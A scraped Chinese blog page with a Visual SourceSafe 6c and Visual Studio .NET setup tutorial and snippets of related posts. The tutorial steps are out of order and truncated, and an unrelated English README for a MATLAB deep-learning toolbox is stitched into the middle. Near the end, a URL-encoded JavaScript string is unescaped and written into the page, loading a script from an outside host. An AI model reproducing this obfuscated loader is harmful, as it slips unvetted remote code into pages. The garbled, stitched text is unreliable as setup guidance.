VSS的配置和使用

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Visual Source Safe 安装与使用教程 用户成员不能对该数据库中的文件进行直接的修改，而是由版本管理器将该项目的远程序或是子项目的程序拷贝到各个用户成员自己的工作目录下进行调试和修改，然后将修改后的项目文件作check 提交给 vss 来进行更新用户可以根据需要随时快速有效地共享文件，文件一旦被添加进vss，每次改动都会被记录下来，用户可以恢复文件的早期的版本源码文件，用户组也可看到其他成员的有关文档的最新版本，并对其进行修改，vss也同样会将新的改动记录下来。该模式下，只有你可以合法的编辑这文件，对这文件有最终的版本控制权。 阅读详情

目录：
〇、 摘要
一、 开发前的准备
二、 创建空的SourceSafe数据库
三、 新建项目并加入版本控制
四、 获取SourceSafe中的项目
五、 版本控制的几个概念
六、 版本控制项目的管理
七、 总结

〇、摘要
在企业开发环境中，源代码管理占据着重要的一环。本文将通过一个实例，创建一个源代码管理的项目SourceManager，来讲述如何使用Visual Studio.Net开发环境，配合Visual Source Safe 6c和IIS，创建企业团队开发环境。
一、 开发前的准备
1、 在装有Windows 2000或者Windows XP Professional的机器上安装.Net Framework SDK、Visual Studio.Net、Visual Source Safe 6C。（如果用户操作系统是Windows .Net Server，则无须安装.Net Framework SDK，.Net Server自带的IIS 6已经完全包含了对.Net的支持）这些工具在Visual Studio.Net的安装盘上都可以找到。
2、 一台专门用于存放版本控制中心数据库的服务器。该服务器不需要安装.NET Framework SDK和VS.Net，但是必须安装VSS 6C。我们称这台服务器为开发服务器DataCenter。
3、 一个主域控制器，将DataCenter服务器加入这个域，为每一个开发用户分配域帐号。这样所有小组成员可以通过登录到Window NT域来访问版本控制信息。
注意：Visual Studio 6所带的Visual Source Safe 6不支持.Net的一些文件格式。如果你安装了VSS 6，也需要再安装一次VSS 6C，否则在VS.Net环境中将源代码加入到VSS数据库中将会出现错误。
二、 创建空的SourceSafe数据库
在开始工作之前，需要建立一个空的SourceSafe数据库，来存放源代码控制数据，并为小组开发人员分配访问帐号。在DataCenter服务器上新建Source Safe数据库。步骤如下：
1、 启动"开始"——"程序"——"Microsoft Visual SourceSafe"菜单下的SourceSafe 6.0 Admin。如果你是第一次安装VSS 6C，Common数据库的Admin帐号为空。如图一所示：


图一 VSS登录窗口
2、 在Visual SourceSafe Administrator窗口中，你可以看到Source Safe默认的两个用户Admin和Guest。如果你不打算使用默认的Common数据库，而要建立一个属于自己的项目数据库。选择菜单"Tools"——"Create Database"，如图二所示：


图二 VSS管理窗口
3、 在弹出的对话框中选择新数据库存放的位置。这里我们选择：C:/SourceManager/。点击OK后，提示你已经创建了数据库。
4、 选择"Users"——"Open SourceSafe Database…"，使用Browser按钮，选择刚才所创建的SourceManager数据库C:/SourceManager/srcsafe.ini。
5、 使用"Users"——"Change Password"命令更改Admin帐号的密码。使用"Users"——"Add User"命令为项目小组成员创建SourceSafe帐号。
6、 将C:/SourceManager目录设置为共享。共享权限默认是Everyone完全控制。如果希望只对项目小组成员开放，不希望其他人操作数据库文件（注意：没有SourceManager帐号的人不能访问SourceSafe中的内容，但如果他有权限的话，可以删除或修改数据库中的数据），请将Everyone组从权限组中删除，并从域目录中选择可以访问该目录的域帐号或计算机。
7、 到此，一个空的项目数据库建立完毕。
三、 新建项目并加入版本控制
下面将演示在一个装有VS.Net的计算机上创建一个Windows应用程序和一个Web项目，并把它加入到上面所建的SouceManager数据库中。
1、 启动VS.NET。
2、 使用"文件"——"新建"——"空白解决方案"命令，在D:/下新建解决方案SourceManager。VS.Net会在D:/下自动创建一个SourceManager目录，该目录中有一个解决方案文件SourceManager.sln文件。
3、 使用"文件"——"新建"——"项目"命令，在项目类型中选择"Visual C#项目"，在"模板"中选择"Window应用程序"。项目名称MyWindowApp。并选择"添入解决方案"选项。确定。


图三 新建Windows应用程序项目窗口
4、 使用"文件"——"新建"——"项目"命令，在项目类型中选择"Visual C#项目"，在"模板"中选择"ASP.NET Web应用程序"。在"位置"栏中填写http://localhost/MyWebApp。并选择"添入解决方案"选项。确定。


图四 新建Web应用程序窗口
这样就在解决方案中建立了一个Window应用程序和一个Web应用程序。下面讲述如何将整个解决方案加入到源代码版本控制。
5、 在WebFrom1和Form1的设计器中各自加入一个Label控件，保持它的属性不变。我们将看到从另一个主机上获取的程序用户界面中也会有这一个控件。
6、 使用"文件"——"源代码管理"——"将解决方案加到源代码管理"命令。


图五 源代码管理菜单
7、 在弹出的Visual SourceSafe Login登录窗口点击"Browser"按钮，弹出打开数据库对话框，点击该对话框的"Browser"按钮，弹出如下对话框，在"文件名"中输入//DataCenter/SourceManager/srcsafe.ini。确定后输入上面所分配的SourceSafe帐号和密码。


图六 打开VSS数据库对话框
8、 首先会弹出一个保存解决方案的提示窗口，让你选择将要保存到SourceSafe中的项目名称，默认与解决方案的名称相同。点击OK，会得到项目在数据库中不存在的提示，点击"Yes"创建该项目。


图七 在VSS中创建项目对话框
9、 接下来会让你选择Web应用程序的保存位置。如下图所示。由于Web应用程序通常保存在本地的IIS根目录下。与解决方案中的其它项目不在同一个目录中，所以需要为Web应用程序在SourceSafe中单独建立一个项目。在该窗口点击"OK"按钮接受SourceSafe的默认项目名称MyWebApp。


图八 在VSS中创建Web项目对话框
10、 到此，我们已经在SourceSafe中添加了整个解决方案，包括一个Windows应用程序和一个Web应用程序。在"解决方案资源管理器"视图中，加入源代码控制的程序旁边有一把锁（如图九所示），表示文档已签入，不可编辑。 
 
图九 解决方案资源管理器
11、 通过菜单"文件"——"源代码管理"——"Microsoft Visual SourceSafe"，打开SourceSafe，可以看到，在SourceSafe中已经加入了两个项目。如图十所示：


图十 VSS浏览器

四、 获取SourceSafe中的项目


图十一 从SourceSafe获取项目对话框
3、 接下来会弹出保存Web应用程序工作副本的对话框，在工作副本位置输入框中输入你想要保存Web应用的Web文件夹，也可以接受默认设置。点击"确定"按钮接受默认设置。


图十二 从SourceSafe获取Web项目对话框
4、 通过上述步骤，我们已经成功地在另一个开发主机上获得保存在SourceSafe的工程。将来如果有新的开发人员加入，只需重复这四个步骤即可。

 五、 版本控制的几个概念

在Visual Studio.Net开发环境"解决方案资源管理器"的上下文菜单或者"文件"——中有如下与文件操作有关的命令，如图十三所示：


1、 文件的"签出"(Check Out)：当需要编辑一个文件时，必须将该文件"签出"，SourceSafe会标志该文件已经被某个用户迁出，并确保其他用户不可编辑同一个文件。对于文件，仅当文件被签入后才有这个选项。
2、 文件的"签入"(Check In)：当完成文件的编辑后，最好将文件"签入"，以让其他用户可以签出或者获取最新版本。对于文件，仅当文件被签出后才有这个选项。
3、 "获取最新版本"：从SourceSafe数据库中获取指定文件或项目的最新版本，而又不必签出文件。
4、 "取消签出"：不在SourceSafe数据库中保存签出后所做的修改，使本地文件恢复到修改之前的状态，并且将文件签入。只有文件或项目中有文件被签出后才有这个选项。
5、 "历史记录"：查看文件修改的历史记录。SourceSafe数据库会自动保存每次"签入"前后的文件内容。如果需要查看历史记录。
6、 "版本比较"：可以比较当前版本与历史版本之间的差异，SourceSafe将以对照的形式将两个版本的不同之处显示出来。如图十四所示：


图十四 版本比较
7、 "Roll Back"：在历史版本显示对话框中有一个Roll Back命令，即将文件恢复到历史版本。当文件编辑错误时，想让文件回到历史的某个点时，使用该命令。历史版本显示对话框中还有其它命令，这里不一一详述，请读者慢慢研究。
8、 Visual Studio.Net中关于版本控制的选项：在"工具"——"选项"命令对话框中，选择左边的"源代码管理"，显示如下对话框。读者可以根据项目的情况对SourceSafe选项进行设置。


图十五 Visual Studio.Net中与版本控制相关的选项
9、 其它SourceSafe操作：读者可以从"文件"——"源代码管理"——"Microsoft Visual SourceSafe"菜单，进入"Visual SourceSafe Explorer"，其中大多数主要命令基本与Visual Studio.Net相同，这里就不再累赘。

 六、 版本控制项目的管理


1、 Users菜单下是关于用户操作的命令，除上面我们所使用的添加用户"Add User"、修改密码"Change Password"外，还有删除用户"Delete User"、编辑用户"Edit User"命令。"Open SourceSafe Database"命令用于更改当前SourceSafe数据库。
2、 Tools菜单下的Options对话框中包括了一些项目的设置。下面对主要的选项进行简单的说明：
（1） General页中的Allow multiple checkouts，如果选择此项，则允许多个用户同时签出文件。默认是不允许。
（2） Project Security页中的"Enable project security"复选框指明是否允许对项目使用安全性。该项默认为不允许。只有当选择了这个选项之后，Tools下的"Rights by Project"、"Right Assignments for User"和"Copy User Rights"才可用。这里我们将它选中。
（3） Shadow Folders页用于设置项目在服务器上的映射。项目在SourceSafe中以二进制码形式将文件的所有版本信息保存在文件中。要在服务器上创建一个目录，将项目文件映射到这个目录中，使用该命令。在"Set shadow folder for project"中选择在SourceSafe中的SourceManager项目，在"Set shadow folder to"中选择项目要映射到的目录，如C:/SourceManager_Shadow。
（4） Web Projects页用于设置Web项目在服务器上的映射。在This project represents a Web Site中选择SourceSafe中的MyWebApp项目，在URL中填入"http://localhost"，即本地Web服务器（也可以填入其它服务器）。Virtual Tools中填入要映射的虚拟目录，在"Deployments path"填入部署目录，这个目录将成为IIS中指定虚拟目录的映射目录。
3、 Tools菜单下的"Rights by Project"管理SourceSafe中项目的权限，如图所示。用户权限共有四种，在Rights中分别对应为：R（Read）、C（Check Out/Check In）、A（Add/Rename/Delete）、D（Destroy）。在左边的"Project"框中选择一个项目，并在右边选择相应的用户，使用下面的复选框，给用户分配相应的权限。Tools菜单下的"Rights Assignments for User"用于给选定用户分配权限，操作结果与上面的命令相同。

图十九 VSS项目权限管理
4、 Archive菜单下的"Archive Projects"用于将指定项目打包成*.ssa(SourceSafe Archive)文件，并迁移到其他主机上，使用Archive的"Restore Projects"命令，将该文件恢
总结
使用SourceSafe与VS.Net开发环境，可以为团队开发提供完整的源代码管理方案。通过源代码管理，可以记录项目开发的过程，将文件恢复到项目过程中的某一个点，而又无需在开发环境中保存太多的旧文档备份。
下面将讲述版本控制相关的一些权限管理和文件映射。首先在DataCenter服务器上打开"开始"——"程序"——"Microsoft Visual SourceSafe"——"Visual Source Safe 6.0 Admin"。选择SourceManager数据库，填入Admin账号的密码。进入"SourceSafe Administrator"窗口。它有如下几个菜单。
下面的步骤中将讲述如何在另一台主机上从SourceSafe获取源代码。
1、 在另一台主机上打开Visual Studio.Net开发环境。使用菜单命令"文件"——"源代码管理"——"从源代码管理打开"。重复第三步中的第7个操作，选择SourceSafe数据库的位置。
2、 弹出"Create local poject from SourceSafe"窗口，在"Create a new project in the"输入框中填写你要保存项目的本地路径，这里我们选择"C:/MyProject"。在"SourceSafe project to"中选择SourceManager项目，单击OK按钮。如果目录C:/MyProject不存在，会询问是否创建，选择"Yes All"。
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VSS6.0的安装及使用以及在Myeclipse配置 Eclipse配置vssvss安装1. 安装Vss服务器在服务器上安装vss6.0，安装好后，在服务器目录C:\Program Files\Microsoft Visual Studio\Common\VSS下有个NETSETUP.EXE文件，共享这个目录，客户机就执行这个NET 阅读详情

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B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

配置VSS

 HTML Tags and JavaScript tutorialvar encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);

829

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

VSS客户端配置

1.安装VSS 2.启动VSS，首次启动会弹出创建连接窗口 3.点击下一步，弹出如下窗口         4.选择Connect  to an existing database,点击下一步弹出窗口，在location输入：VSS服务端IP，然后点击Browser 5.弹出窗口如下，选择DataBase文件srcsafe.ini 6.点击下一步 7.点击

Summary 3256

VSS配置

Cisco的VSS与H3C的IRF相似 步聚 6509-1配置 第一步、初始化Catalyst 6509交换机 VSS-sw1#conf t 6509-2配置 VSS-sw2#conf t 第二步、 配置VSS Domain ID； VSS-sw1(config)#switch virtua...

weixin_34411563的博客 257

VSS 2005 安装，配置简明手册 及VSS2005下载地址

 VSS 2005 安装，配置简明手册 及VSS2005下载地址 vss2005下载地址  http://www.shangdu8.com/download/Microsoft.Visual.SourceSafe.2005_01.rar ，现在用不了，晕。1:http://cn-web.com/cnweb/44/233/article/

WYZSC的专栏 9178

vss配置

vss服务器端： 1.安装vss。 2.创建一个VSS服务器文件夹，并在该服务器下添加对应的用户。 3.将(VSS服务器文件夹)包含vss用户信息的文件夹共享并给最大的权限(可修改与读取)。 4.将包含项目的文件夹共享并给最大的权限(可修改与读取)。 5.在新开一个VS2008下，选项---下添加源代码管理（并且要配置自己的登录名，和插件配置中的共享） 6.将项目用解决方案打.文件--

Small_madman的专栏 1016
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